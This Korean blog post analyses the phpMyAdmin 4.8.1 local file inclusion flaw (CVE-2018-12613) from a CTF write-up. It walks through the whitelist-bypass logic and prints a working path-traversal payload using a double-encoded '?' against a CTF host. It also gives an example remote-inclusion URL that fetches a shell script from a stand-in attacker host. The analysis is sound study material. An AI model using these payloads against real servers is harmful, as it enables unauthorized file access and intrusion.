phpMyAdmin 4.8.1 LFI 취약점(CVE-2018-12613) 분석

고둑·2021년 8월 24일
0

스터디 발표

목록 보기
1/4
post-thumbnail

CTF 라업 쓸때 phpMyAdmin 4.8.1버전의 LFI 취약점을 이용하여 플래그를 획득했었다.
오늘은 이런 공격을 가능하게 해준 이유를 분석해 볼 것이다.

LFI(Local File Inclusion)

LFI 취약점은 공격자가 웹 응용 프로그램을 속여 로컬에 존재하는 파일을 실행하거나 노출시키는 공격 기술이다.
LFI 공격을 시도하기 위해 주로Path Traversal 취약점을 이용한다.

Path Traversal 취약점이란 접근 권한이 없어야 하는 웹 서버의 파일에 접근하기 위해 특정한 방식으로 주소를 수정하여 접근 권한이 없는 파일에 접근하는 것이다.

RFI(Remote File Inclusion)

RFI취약점은 LFI취약점과 비슷하지만
LFI가 로컬에 존재하는 파일을 대상을 공격하는 반면에
RFI는 공격자가 악의적인 코드를 서버로 업드해서 공격하는 차이가 있다.

따라서 RFI공격의 URL을 보면
http://example.com/index.php? pram=http://attack.com/shellscript.txt
이런 식으로 RFI공격은 서버 외부에서 공격을 시도하기때문에 ip주소와 포트가 필요하다

phpMyAdmin LFI 취약점

본론으로 돌아와서 다시 취약점 분석을 시도하겠다
취약점이 발생한 부분은 phpMyAdmin 4.8.1의 index.php 내부이다.

//index.php line 53-62
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

문제가 발생되는 소스코드이다.

코드 해석

if문을 통하여 아래와 같은 정보를 알아낼 수 있다.

  1. target파라미터의 입력 값은 공백이 아니다
  2. target파라미터의 입력 문자열이다.
  3. target파라미터의 입력index로 시작하지 않는다
  4. target파라미터의 입력target_blacklist에 없어야 한다
  5. core.php에 존재하는 checkPageValidity함수에서 값을 검증 받아야한다.

따라서 core.php에서의 checkPageValidity 함수를 확인해보면

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
    	//1.
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist; 
        }
        //2.
        if (! isset($page) || !is_string($page)) {
            return false;
        }
        //3.
        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        //4.
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        //5.
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

이런 코드가 나오게 된다.

코드를 한 줄씩 뜯어보면
1. $whitelist에 데이터가 없으면 $whitelistself::$goto_whitelist값을 넣어주게 된다.
goto_whitelist의 데이터는 core.php에 존재한다.

class Core
{
    /**
     * the whitelist for goto parameter
     * @static array $goto_whitelist
     */
    public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );
  1. $page값이 없거나 문자열이 아니면 False가 반환된다.
    우리는 문자열server_sql.php?%253f../../../../../../tmp/flag을 입력했으므로 3번째 if문으로 넘어갈 수 있다.
  2. 입력받은 $page 값이 $whitelist에 존재하면 True값을 반환한다.
    server_sql.php?%253f../../../../../../tmp/flag 값은 $whitelist에 없으므로 True를 반환하지 않고 다음 함수로 넘어간다.

4번째 if문에서 추가로 검증하기전 함수에서 $_page 변수를 정의한다.
$_page값은 mb_substr()의 리턴 값이다.
mb_substr()함수의 문법은 아래와 같다.
mb_substr(문자열, 시작위치, 나타낼 길이, 인코딩방식)

나타낼 길이를 알아내기 위해 mb_strpos()의 사용법을 알아야한다.
mb_strpos(대상 문자열, 조건 문자열, 검색 시작 위치, 인코딩방식)
따라서 mb_strpos($page . '?', '?')$page?에서 ?의 시작하는 위치를 찾는 함수이다.

따라서 위 mb_substr()의 리턴값은server_sql.php%253f../../../../../../tmp/flag이고 즉 $_pageserver_sql.php%253f../../../../../../tmp/flag이 된다.

  1. $_page 값이 $whitelist에 있으면 true를 반환한다
    일반적으로 사용한다면 정상적인 값이 들어가므로 true를 반환하겠지만 server_sql.php%253f../../../../../../tmp/flag값은 $whitelist에 없는 값이므로 True를 반환하지 않게 되고 다음 if문으로 넘어가게 된다.

그리고 마지막 if문이 실행되기전에 $_page변수를 URL Decoding한 값을 다시 $_page변수에 저장하고 다시 ?에서 자르게 된다.
따라서 $_page의 값에는 server_sql.php이 들어가게 된다.

  1. $_page값의 변수를 다시 $whitelist와 비교하여 값이 존재하면 True값을 반환한다.

따라서 Path Traversal을 이용하여 공격을 시도한 URL이 checkPageValidity() 함수에서 검증시 적합한 url이라고 나오게 된다.

따라서 Path Traversal 공격을 통해 전달한 url을 include() 함수가 받고 최종적으로 로컬 파일에 접근할 수 있다.

따라서
http://ctf-hackingcamp.com:60698/phpMyAdmin/index.php?target=server_sql.php?%253f../../../../../../tmp/flag
로 공격을 시도하면 아래처럼 플래그 값을 알아낼 수 있다.

profile
문워킹은 하지말자

0개의 댓글